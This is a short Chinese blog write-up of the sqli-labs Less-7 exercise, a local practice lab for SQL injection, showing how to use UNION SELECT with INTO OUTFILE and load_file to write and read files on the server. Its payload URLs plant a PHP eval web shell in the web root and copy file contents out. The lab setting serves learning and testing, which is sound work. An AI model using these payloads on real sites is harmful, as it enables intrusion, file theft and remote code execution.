less-7

题目是要求导出文件GET字符型注入

看看代码

这里可以使用报错注入

先按要求用导出文件做

导出文件就是可以向服务器写入文件,但是利用的时候要知道数据库,网站的路径

我们现在less-1查看

www目录就是D:\phpstudy\PHPTutorial\www 了

然后再上传文件,一般格式:

http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,'语句' into outfile '目录' %23

读写权限测试:

id=1') and (select count(*) from mysql.user)>0 --+ 如果返回正常则有读取权限

采用into outfile 进行文件写入

http://127.0.0.1/s/Less-7/?id=1′)) union select 1,'<?php
eval($_POST[“chopper”]);?>’,3 into outfile
‘C:/wamp/www/q.php’%23

Load_file进行文件读取

http://127.0.0.1/s/Less-7/?id=1′)) union select 1,load_file(“C:/wamp/www/s/Less-7/result.txt”),3
into outfile ‘C:/wamp/www/1.txt’%23

 

posted @ 2018-11-30 22:12  可乐'  阅读(301)  评论(0编辑  收藏  举报